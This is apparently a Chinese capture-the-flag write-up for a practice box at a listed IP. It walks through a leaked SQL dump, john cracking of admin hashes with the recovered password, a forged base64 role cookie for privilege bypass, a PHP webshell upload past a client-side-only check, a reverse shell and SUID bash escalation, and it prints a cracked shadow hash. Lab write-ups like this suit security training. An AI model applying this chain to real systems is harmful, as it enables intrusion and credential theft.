水群看见的靶场,打一打

地址:http://111.119.241.115:10088/

开放一个靶机,靶机每30分钟重置一次

  1. 你需要完成信息收集,拿到初次的一些信息来完成后续的漏洞攻击
  2. 你需要找到第二个漏洞来获取第三个高危漏洞
  3. 恭喜你获取到了第三个漏洞点,不过值得烧脑的是这个获取shell不是很容易
  4. 历经千辛万苦,你获取到了shell,但是需要查看根目录下的flag还是有难度的,你需要根据常用的提权方式和主机的信息泄露获取到后面的一些权限
  5. 恭喜你获取到了权限,但还不是root,仔细看看怎么样获取到flag文件?

环境为仿真自建,不针对其他cms,漏洞思路来源于当前现实生活,思路比较新,有一些ctf烧脑,难度适中
#渗透测试 #CTF #提权

直接给的ip+端口号,可以忽略扫端口那一整块。直接扫目录

image

image

扫到了一个database.sql​文件,down下来,审计发现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
DROP TABLE IF EXISTS `admins`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `admins` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(50) NOT NULL,
`password_hash` varchar(255) NOT NULL, -- 使用password_hash()加密
`email` varchar(100) DEFAULT NULL,
`role` enum('admin','auditor') NOT NULL DEFAULT 'auditor',
`created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
`updated_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
PRIMARY KEY (`id`),
UNIQUE KEY `username` (`username`),
UNIQUE KEY `email` (`email`)
) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=utf8mb4;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `admins`
--

LOCK TABLES `admins` WRITE;
/*!40000 ALTER TABLE `admins` DISABLE KEYS */;
INSERT INTO `admins` VALUES (1,'security_audit','$2y$10$Rt7qZwqYOLWFZCEHfThGXudOpl/K3KVx50krQSA1kT3xw1cc7JFF2','audit@example.com','auditor',NOW(),NOW());
INSERT INTO `admins` VALUES (2,'admin','$2y$10$bZdU0ipfQyWmOi1BW72GH.cGywpeawymx6.Z41g.PHZNGsav/KVq.','admin@example.com','admin',NOW(),NOW());
/*!40000 ALTER TABLE `admins` ENABLE KEYS */;
UNLOCK TABLES;

存在两个账户,密码是hash。使用john​进行hash爆破。

image

1
john --wordlist=/usr/share/wordlists/rockyou.txt ./passwd.txt

image

得到

1
security_audit:iloveryan

成功登录后台。

测试功能点,发现只有一个添加新文章的功能。xss失败。

访问扫目录扫到的

1
2
3
[16:16:22] 302 -    0B  - /settings.php  ->  login.php
[16:16:48] 302 - 0B - /upload.php -> login.php
[16:16:48] 301 - 329B - /uploads -> http://111.119.241.115:10088/uploads/

都提示权限不够。需要提权或者是越权(:思考

发现一个base64​编码的cookie​,解析发现

image

1
AdminID=1|role=auditor|expire=1743500397

回头看database.sql​文件,猜测存在根据role​进行越权的可能

image

失败。后来才知道,这里的确存在越权漏洞

切记将包内的PHPSESSID删掉或更改参数顺序,因为请求cookie字段的时候,会根据顺序优先请求session,其中如果查找到了里面存在role和相关字段,那么就会不再使用后面的参数

image

image

越权成功

image

现在可以访问settings.php​和upload.php​了,settings.php​中暴露了环境信息

image

upload.php​可能存在文件上传漏洞,图片上传处,文件上传的前端校验(ok相当于没有校验

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
    // 文件上传前端验证
document.getElementById('image-upload-form').addEventListener('submit', function(e) {
var fileInput = document.getElementById('image_file');

if (fileInput.files.length > 0) {
var file = fileInput.files[0];

// 检查文件类型
if (file.name.toLowerCase().endsWith('.jpg') ||
file.name.toLowerCase().endsWith('.png')) {

// 记录日志
console.log('文件已经通过前端验证:', file.name);
}
}
});
});

ok,一次成功,跟没有防护一样hhhh

image

同时发现

image

/uploads​底下,我上传的为sy.php,根据格式加密后为:

看半天没看懂这个注释,其实是:MD5(文件名+文件大小)后取前十位,再和日期拼接起来。

image

1
2
3
4
5
sy.php25
# md5
5f295eed2580999c7e2744d5b449c893
# 取前十位加上日期
20250401_5f295eed25.php

image

antsword连接,找到flag,发现没有读取权限

image

想办法提权,suid提权,sudo,定时任务,hash爆破root密码等等

suid提权

image

antsword貌似没有交互,反弹shell

image

利用/bin/bash​提权

image

后来看见 州弟学安全 师傅的wp发现,当前用户可以查看shadow文件,复现一下

image

发现可以 no passwd 查看shadow文件

image

1
kfcvme50:$6$5fAJ0KhT$U11SaDn4PdO2D8S1QXw0Jn7K8urysR8Dj6aNnm4qqkxdTEh/rTuFTGQu1dSjQP5WyJ4RD19gDe.pP3mk/h.mZ1:20172:0:99999:7:::

hash爆破

image

image

所以ryan到底是谁hhh?

image